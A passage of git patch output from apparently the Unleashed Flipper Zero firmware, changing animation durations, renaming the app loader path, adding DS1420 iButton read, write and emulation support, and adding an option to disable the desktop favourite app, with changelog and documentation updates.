assets/dolphin/custom/WatchDogs/Anims/REAPER_ALT/meta.txt | 2 +- assets/dolphin/custom/WatchDogs/Anims/SKULL/meta.txt | 2 +- assets/dolphin/custom/WatchDogs/Anims/SKULL_SPIN/meta.txt | 2 +- assets/dolphin/custom/WatchDogs/Anims/SPIRAL/meta.txt | 2 +- assets/dolphin/external/L1_Cry_128x64/meta.txt | 2 +- assets/dolphin/external/L1_Mods_128x64/meta.txt | 2 +- assets/dolphin/external/L1_Painting_128x64/meta.txt | 2 +- assets/dolphin/external/L1_Sleep_128x64/meta.txt | 2 +- assets/dolphin/external/L1_Waves_128x50/meta.txt | 2 +- assets/dolphin/external/L2_Wake_up_128x64/meta.txt | 2 +- assets/dolphin/external/manifest.txt | 4 ++-- assets/dolphin/internal/thank_you_128x64/meta.txt | 2 +- 28 files changed, 29 insertions(+), 29 deletions(-) diff --git a/assets/dolphin/custom/WatchDogs/Anims/BOTTY_CALL/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/BOTTY_CALL/meta.txt index 0a08fc2a7..66c24264d 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/BOTTY_CALL/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/BOTTY_CALL/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 Active cycles: 0 Frame rate: 2 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_AD/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_AD/meta.txt index 4991b01ee..f4f53aa99 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_AD/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_AD/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_ANIM/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_ANIM/meta.txt index 1f2937d97..88980a387 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_ANIM/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_ANIM/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 Active cycles: 0 Frame rate: 6 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_ASCII/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_ASCII/meta.txt index c60148050..6ac53beff 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_ASCII/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_ASCII/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_LOGO/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_LOGO/meta.txt index 64a5c9465..ad50d4b4f 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_LOGO/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_LOGO/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Active cycles: 0 Frame rate: 5 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_OLD/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_OLD/meta.txt index 6dabe353f..86b4dc85b 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_OLD/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_OLD/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_TALK/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_TALK/meta.txt index e92e59530..2182d0f06 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_TALK/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_TALK/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_WAVE/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_WAVE/meta.txt index 55dd3ae55..1df4b57df 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_WAVE/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_WAVE/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Active cycles: 0 Frame rate: 7 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/FINGER/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/FINGER/meta.txt index 118db3cbe..7afb017c4 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/FINGER/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/FINGER/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 2 3 Active cycles: 0 Frame rate: 2 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/GUNS_CAR/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/GUNS_CAR/meta.txt index 8fe58cec3..1dee96631 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/GUNS_CAR/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/GUNS_CAR/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/HANDS/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/HANDS/meta.txt index f83c9071b..f2090f51f 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/HANDS/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/HANDS/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 5 4 3 2 1 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/JOIN_US/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/JOIN_US/meta.txt index 10961ac36..330bc1dcf 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/JOIN_US/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/JOIN_US/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 Active cycles: 0 Frame rate: 2 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/LOGO_WD2/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/LOGO_WD2/meta.txt index 305463c19..557c6c190 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/LOGO_WD2/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/LOGO_WD2/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/MARCUS/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/MARCUS/meta.txt index 81cc6c7d9..94069bbdb 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/MARCUS/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/MARCUS/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/MUMMY/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/MUMMY/meta.txt index 1ede66745..c93566fa2 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/MUMMY/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/MUMMY/meta.txt @@ -8,7 +8,7 @@ Active frames: 4 Frames order: 2 0 1 3 0 2 3 2 3 Active cycles: 2 Frame rate: 2 -Duration: 3600 +Duration: 360 Active cooldown: 1 Bubble slots: 1 diff --git a/assets/dolphin/custom/WatchDogs/Anims/REAPER/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/REAPER/meta.txt index 64a5c9465..ad50d4b4f 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/REAPER/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/REAPER/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Active cycles: 0 Frame rate: 5 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/REAPER_ALT/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/REAPER_ALT/meta.txt index d3a51de2f..0ba9a0146 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/REAPER_ALT/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/REAPER_ALT/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/SKULL/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/SKULL/meta.txt index 1ca66ff13..1133c9f88 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/SKULL/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/SKULL/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/SKULL_SPIN/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/SKULL_SPIN/meta.txt index 53f5a9ef3..304f39570 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/SKULL_SPIN/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/SKULL_SPIN/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/SPIRAL/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/SPIRAL/meta.txt index 81cc6c7d9..94069bbdb 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/SPIRAL/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/SPIRAL/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/external/L1_Cry_128x64/meta.txt b/assets/dolphin/external/L1_Cry_128x64/meta.txt index ea0bf89d0..43b4603d4 100644 --- a/assets/dolphin/external/L1_Cry_128x64/meta.txt +++ b/assets/dolphin/external/L1_Cry_128x64/meta.txt @@ -38,4 +38,4 @@ Text: Why are you\nalways away? AlignH: Right AlignV: Bottom StartFrame: 9 -EndFrame: 15 \ No newline at end of file +EndFrame: 15 diff --git a/assets/dolphin/external/L1_Mods_128x64/meta.txt b/assets/dolphin/external/L1_Mods_128x64/meta.txt index 255fda738..40dc021bf 100644 --- a/assets/dolphin/external/L1_Mods_128x64/meta.txt +++ b/assets/dolphin/external/L1_Mods_128x64/meta.txt @@ -11,4 +11,4 @@ Frame rate: 2 Duration: 360 Active cooldown: 7 -Bubble slots: 0 \ No newline at end of file +Bubble slots: 0 diff --git a/assets/dolphin/external/L1_Painting_128x64/meta.txt b/assets/dolphin/external/L1_Painting_128x64/meta.txt index 3676efdfe..b0b88fbbd 100644 --- a/assets/dolphin/external/L1_Painting_128x64/meta.txt +++ b/assets/dolphin/external/L1_Painting_128x64/meta.txt @@ -29,4 +29,4 @@ Text: only happy\n accidents AlignH: Left AlignV: Center StartFrame: 15 -EndFrame: 18 \ No newline at end of file +EndFrame: 18 diff --git a/assets/dolphin/external/L1_Sleep_128x64/meta.txt b/assets/dolphin/external/L1_Sleep_128x64/meta.txt index eea23b69c..589f46294 100644 --- a/assets/dolphin/external/L1_Sleep_128x64/meta.txt +++ b/assets/dolphin/external/L1_Sleep_128x64/meta.txt @@ -38,4 +38,4 @@ Text: Just a dream... AlignH: Left AlignV: Bottom StartFrame: 6 -EndFrame: 9 \ No newline at end of file +EndFrame: 9 diff --git a/assets/dolphin/external/L1_Waves_128x50/meta.txt b/assets/dolphin/external/L1_Waves_128x50/meta.txt index f86579634..edc7ebe99 100644 --- a/assets/dolphin/external/L1_Waves_128x50/meta.txt +++ b/assets/dolphin/external/L1_Waves_128x50/meta.txt @@ -47,4 +47,4 @@ Text: swim all day AlignH: Right AlignV: Bottom StartFrame: 6 -EndFrame: 9 \ No newline at end of file +EndFrame: 9 diff --git a/assets/dolphin/external/L2_Wake_up_128x64/meta.txt b/assets/dolphin/external/L2_Wake_up_128x64/meta.txt index c91bda1fc..08de0bbc0 100644 --- a/assets/dolphin/external/L2_Wake_up_128x64/meta.txt +++ b/assets/dolphin/external/L2_Wake_up_128x64/meta.txt @@ -11,4 +11,4 @@ Frame rate: 2 Duration: 360 Active cooldown: 7 -Bubble slots: 0 \ No newline at end of file +Bubble slots: 0 diff --git a/assets/dolphin/external/manifest.txt b/assets/dolphin/external/manifest.txt index bd344074d..f9303a6ff 100644 --- a/assets/dolphin/external/manifest.txt +++ b/assets/dolphin/external/manifest.txt @@ -69,7 +69,7 @@ Min butthurt: 0 Max butthurt: 9 Min level: 15 Max level: 30 -Weight: 4 +Weight: 3 Name: L1_Painting_128x64 Min butthurt: 0 @@ -90,7 +90,7 @@ Min butthurt: 0 Max butthurt: 12 Min level: 22 Max level: 30 -Weight: 4 +Weight: 3 Name: L2_Furippa2_128x64 Min butthurt: 0 diff --git a/assets/dolphin/internal/thank_you_128x64/meta.txt b/assets/dolphin/internal/thank_you_128x64/meta.txt index 6a104b3dc..e83e94a00 100644 --- a/assets/dolphin/internal/thank_you_128x64/meta.txt +++ b/assets/dolphin/internal/thank_you_128x64/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 Active cycles: 0 Frame rate: 1 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 From 40e8cea0a20ef4a3d27f36e3cfac2f9ddf01b019 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 18 Mar 2023 00:13:12 +0000 Subject: [PATCH 147/329] Update fap loader name in fbt --- scripts/distfap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/distfap.py b/scripts/distfap.py index 060fe26ff..df3c61025 100644 --- a/scripts/distfap.py +++ b/scripts/distfap.py @@ -53,7 +53,7 @@ class Main(App): return 0 storage.send_and_wait_eol( - f'loader open "Applications" {fap_dst_path}\r' + f'loader open "Apps" {fap_dst_path}\r' ) if len(result := storage.read.until(storage.CLI_EOL)): From 147a1c7aaa40d1c79f1e42ee52e4d9bba169e535 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 18 Mar 2023 03:36:56 +0300 Subject: [PATCH 148/329] iButton: Add DS1420 / Update changelog --- CHANGELOG.md | 4 + .../protocols/dallas/protocol_ds1420.c | 144 ++++++++++++++++++ .../protocols/dallas/protocol_ds1420.h | 5 + .../dallas/protocol_group_dallas_defs.c | 2 + .../dallas/protocol_group_dallas_defs.h | 1 + 5 files changed, 156 insertions(+) create mode 100644 lib/one_wire/ibutton/protocols/dallas/protocol_ds1420.c create mode 100644 lib/one_wire/ibutton/protocols/dallas/protocol_ds1420.h diff --git a/CHANGELOG.md b/CHANGELOG.md index 7e88bc878..41f89f0f8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,9 @@ ### New changes +* iButton: Add support for DS1420 (not fully tested) * Desktop: Option to set Tertiary favourite app (Hold right arrow on desktop) - **Desktop settings (pin code, favourite app, autolock time) will be resetted!!! Only one time after installing - due to changes in settings structure, after installing of this release desktop settings will not be reset with next release** +* Desktop: Fix issue #387 (Ok button was showing invalid file error in dummy mode) +* OFW PR: SD Driver: reinit sd card on error (by DrZlo13 | OFW PR 2493) +* OFW PR: iButton -> Fix a typo: use right shift instead of greater than (by gsurkov | OFW PR 2506) * OFW: Optimize trailing slash check #### [🎲 Download latest extra apps pack](https://github.com/xMasterX/unleashed-extra-pack/archive/refs/heads/main.zip) diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1420.c b/lib/one_wire/ibutton/protocols/dallas/protocol_ds1420.c new file mode 100644 index 000000000..ebfb700ce --- /dev/null +++ b/lib/one_wire/ibutton/protocols/dallas/protocol_ds1420.c @@ -0,0 +1,144 @@ +#include "protocol_ds1420.h" + +#include +#include + +#include "dallas_common.h" + +#include "../blanks/rw1990.h" +#include "../blanks/tm2004.h" + +#define DS1420_FAMILY_CODE 0x81U +#define DS1420_FAMILY_NAME "DS1420" + +#define DS1420_CMD_READ_ROM 0x0FU + +typedef struct { + OneWireSlave* bus; +} DS1420ProtocolState; + +typedef struct { + DallasCommonRomData rom_data; + DS1420ProtocolState state; +} DS1420ProtocolData; + +static bool dallas_ds1420_read(OneWireHost*, iButtonProtocolData*); +static bool dallas_ds1420_write_blank(OneWireHost*, iButtonProtocolData*); +static void dallas_ds1420_emulate(OneWireSlave*, iButtonProtocolData*); +static bool dallas_ds1420_load(FlipperFormat*, uint32_t, iButtonProtocolData*); +static bool dallas_ds1420_save(FlipperFormat*, const iButtonProtocolData*); +static void dallas_ds1420_render_brief_data(FuriString*, const iButtonProtocolData*); +static void dallas_ds1420_render_error(FuriString*, const iButtonProtocolData*); +static bool dallas_ds1420_is_data_valid(const iButtonProtocolData*); +static void dallas_ds1420_get_editable_data(iButtonEditableData*, iButtonProtocolData*); +static void dallas_ds1420_apply_edits(iButtonProtocolData*); + +const iButtonProtocolDallasBase ibutton_protocol_ds1420 = { + .family_code = DS1420_FAMILY_CODE, + .features = iButtonProtocolFeatureWriteBlank, + .data_size = sizeof(DS1420ProtocolData), + .manufacturer = DALLAS_COMMON_MANUFACTURER_NAME, + .name = DS1420_FAMILY_NAME, + + .read = dallas_ds1420_read, + .write_blank = dallas_ds1420_write_blank, + .write_copy = NULL, /* No data to write a copy */ + .emulate = dallas_ds1420_emulate, + .save = dallas_ds1420_save, + .load = dallas_ds1420_load, + .render_data = NULL, /* No data to render */ + .render_brief_data = dallas_ds1420_render_brief_data, + .render_error = dallas_ds1420_render_error, + .is_valid = dallas_ds1420_is_data_valid, + .get_editable_data = dallas_ds1420_get_editable_data, + .apply_edits = dallas_ds1420_apply_edits, +}; + +bool dallas_ds1420_read(OneWireHost* host, iButtonProtocolData* protocol_data) { + DS1420ProtocolData* data = protocol_data; + return onewire_host_reset(host) && dallas_common_read_rom(host, &data->rom_data); +} + +bool dallas_ds1420_write_blank(OneWireHost* host, iButtonProtocolData* protocol_data) { + DS1420ProtocolData* data = protocol_data; + + return rw1990_write_v1(host, data->rom_data.bytes, sizeof(DallasCommonRomData)) || + rw1990_write_v2(host, data->rom_data.bytes, sizeof(DallasCommonRomData)) || + tm2004_write(host, data->rom_data.bytes, sizeof(DallasCommonRomData)); +} + +static bool dallas_ds1420_command_callback(uint8_t command, void* context) { + furi_assert(context); + DS1420ProtocolData* data = context; + OneWireSlave* bus = data->state.bus; + + switch(command) { + case DALLAS_COMMON_CMD_SEARCH_ROM: + dallas_common_emulate_search_rom(bus, &data->rom_data); + break; + case DALLAS_COMMON_CMD_READ_ROM: + case DS1420_CMD_READ_ROM: + dallas_common_emulate_read_rom(bus, &data->rom_data); + break; + default: + break; + } + + // No support for multiple consecutive commands + return false; +} + +void dallas_ds1420_emulate(OneWireSlave* bus, iButtonProtocolData* protocol_data) { + DS1420ProtocolData* data = protocol_data; + data->state.bus = bus; + + onewire_slave_set_reset_callback(bus, NULL, NULL); + onewire_slave_set_command_callback(bus, dallas_ds1420_command_callback, protocol_data); +} + +bool dallas_ds1420_save(FlipperFormat* ff, const iButtonProtocolData* protocol_data) { + const DS1420ProtocolData* data = protocol_data; + return dallas_common_save_rom_data(ff, &data->rom_data); +} + +bool dallas_ds1420_load( + FlipperFormat* ff, + uint32_t format_version, + iButtonProtocolData* protocol_data) { + DS1420ProtocolData* data = protocol_data; + return dallas_common_load_rom_data(ff, format_version, &data->rom_data); +} + +void dallas_ds1420_render_brief_data(FuriString* result, const iButtonProtocolData* protocol_data) { + const DS1420ProtocolData* data = protocol_data; + + for(size_t i = 0; i < sizeof(DallasCommonRomData); ++i) { + furi_string_cat_printf(result, "%02X ", data->rom_data.bytes[i]); + } +} + +void dallas_ds1420_render_error(FuriString* result, const iButtonProtocolData* protocol_data) { + const DS1420ProtocolData* data = protocol_data; + + if(!dallas_common_is_valid_crc(&data->rom_data)) { + dallas_common_render_crc_error(result, &data->rom_data); + } +} + +bool dallas_ds1420_is_data_valid(const iButtonProtocolData* protocol_data) { + const DS1420ProtocolData* data = protocol_data; + return dallas_common_is_valid_crc(&data->rom_data); +} + +void dallas_ds1420_get_editable_data( + iButtonEditableData* editable_data, + iButtonProtocolData* protocol_data) { + DS1420ProtocolData* data = protocol_data; + editable_data->ptr = data->rom_data.bytes; + editable_data->size = sizeof(DallasCommonRomData); +} + +void dallas_ds1420_apply_edits(iButtonProtocolData* protocol_data) { + DS1420ProtocolData* data = protocol_data; + dallas_common_apply_edits(&data->rom_data, DS1420_FAMILY_CODE); +} diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1420.h b/lib/one_wire/ibutton/protocols/dallas/protocol_ds1420.h new file mode 100644 index 000000000..63c239738 --- /dev/null +++ b/lib/one_wire/ibutton/protocols/dallas/protocol_ds1420.h @@ -0,0 +1,5 @@ +#pragma once + +#include "protocol_dallas_base.h" + +extern const iButtonProtocolDallasBase ibutton_protocol_ds1420; diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.c b/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.c index b4dd51ce7..a33db5143 100644 --- a/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.c +++ b/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.c @@ -4,6 +4,7 @@ #include "protocol_ds1992.h" #include "protocol_ds1996.h" #include "protocol_ds1971.h" +#include "protocol_ds1420.h" #include "protocol_ds_generic.h" const iButtonProtocolDallasBase* ibutton_protocols_dallas[] = { @@ -11,6 +12,7 @@ const iButtonProtocolDallasBase* ibutton_protocols_dallas[] = { [iButtonProtocolDS1992] = &ibutton_protocol_ds1992, [iButtonProtocolDS1996] = &ibutton_protocol_ds1996, [iButtonProtocolDS1971] = &ibutton_protocol_ds1971, + [iButtonProtocolDS1420] = &ibutton_protocol_ds1420, /* Add new 1-Wire protocols here */ /* Default catch-all 1-Wire protocol */ diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.h b/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.h index 2ba1dd39a..ca789a10c 100644 --- a/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.h +++ b/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.h @@ -7,6 +7,7 @@ typedef enum { iButtonProtocolDS1992, iButtonProtocolDS1996, iButtonProtocolDS1971, + iButtonProtocolDS1420, /* Add new 1-Wire protocols here */ /* Default catch-all 1-Wire protocol */ From 9a93551a2dc620b06c0c715a6d07a312393d993c Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 18 Mar 2023 04:13:04 +0300 Subject: [PATCH 149/329] Add ability to disable favourite app in desktop settings And update changelog --- CHANGELOG.md | 1 + .../scenes/desktop_settings_scene_favorite.c | 23 +++++++++++++++++++ 2 files changed, 24 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 41f89f0f8..049af9b5c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,7 @@ ### New changes * iButton: Add support for DS1420 (not fully tested) * Desktop: Option to set Tertiary favourite app (Hold right arrow on desktop) - **Desktop settings (pin code, favourite app, autolock time) will be resetted!!! Only one time after installing - due to changes in settings structure, after installing of this release desktop settings will not be reset with next release** +* Desktop: Ability to disable favourite app (use last element in a main list `None (disable)`) * Desktop: Fix issue #387 (Ok button was showing invalid file error in dummy mode) * OFW PR: SD Driver: reinit sd card on error (by DrZlo13 | OFW PR 2493) * OFW PR: iButton -> Fix a typo: use right shift instead of greater than (by gsurkov | OFW PR 2506) diff --git a/applications/settings/desktop_settings/scenes/desktop_settings_scene_favorite.c b/applications/settings/desktop_settings/scenes/desktop_settings_scene_favorite.c index 822c6c7a9..c014c97f7 100644 --- a/applications/settings/desktop_settings/scenes/desktop_settings_scene_favorite.c +++ b/applications/settings/desktop_settings/scenes/desktop_settings_scene_favorite.c @@ -73,6 +73,12 @@ void desktop_settings_scene_favorite_on_enter(void* context) { } } } + submenu_add_item( + submenu, + "None (disable)", + FLIPPER_APPS_COUNT + 1, + desktop_settings_scene_favorite_submenu_callback, + app); if(primary_favorite == 0) { submenu_set_header(submenu, "Primary favorite app:"); @@ -95,6 +101,23 @@ bool desktop_settings_scene_favorite_on_event(void* context, SceneManagerEvent e scene_manager_get_scene_state(app->scene_manager, DesktopSettingsAppSceneFavorite); if(event.type == SceneManagerEventTypeCustom) { + if(event.event >= (FLIPPER_APPS_COUNT + 1)) { + if(primary_favorite == 0) { + app->settings.favorite_primary.is_external = false; + strncpy(app->settings.favorite_primary.name_or_path, "", MAX_APP_LENGTH); + } else if(primary_favorite == 1) { + app->settings.favorite_secondary.is_external = false; + strncpy(app->settings.favorite_secondary.name_or_path, "", MAX_APP_LENGTH); + } else if(primary_favorite == 2) { + app->settings.favorite_tertiary.is_external = false; + strncpy(app->settings.favorite_tertiary.name_or_path, "", MAX_APP_LENGTH); + } + + scene_manager_previous_scene(app->scene_manager); + consumed = true; + furi_string_free(temp_path); + return consumed; + } if(strcmp(FLIPPER_APPS[event.event].name, FAP_LOADER_APP_NAME) != 0) { if(primary_favorite == 0) { app->settings.favorite_primary.is_external = false; From 682ac85e0a3d355a656761a5d86dbfccf3a22a7b Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 18 Mar 2023 04:19:53 +0300 Subject: [PATCH 150/329] Update docs --- documentation/file_formats/iButtonFileFormat.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/documentation/file_formats/iButtonFileFormat.md b/documentation/file_formats/iButtonFileFormat.md index 63743f063..225072629 100644 --- a/documentation/file_formats/iButtonFileFormat.md +++ b/documentation/file_formats/iButtonFileFormat.md @@ -26,7 +26,7 @@ Changelog: | Name | Type | Description | | ----------- | ------ | -------------------------------------------- | -| Protocol | string | Currently supported: DS1990, DS1992, DS1996, DS1971, DSGeneric*, Cyfral, Metakom | +| Protocol | string | Currently supported: DS1990, DS1992, DS1996, DS1971, DS1420, DSGeneric, Cyfral, Metakom | | Rom Data | hex | Read-only memory data (Dallas protocols only) | | Sram Data | hex | Static RAM data (DS1992 and DS1996 only) | Eeprom Data | hex | EEPROM data (DS1971 only) @@ -37,6 +37,8 @@ It can also be used if a key with a deliberately invalid family code or checksum NOTE 2: When adding new protocols, it is not necessarily to increase the format version, define the format in the protocol implementation instead. +**DS1420 is fully compatible with 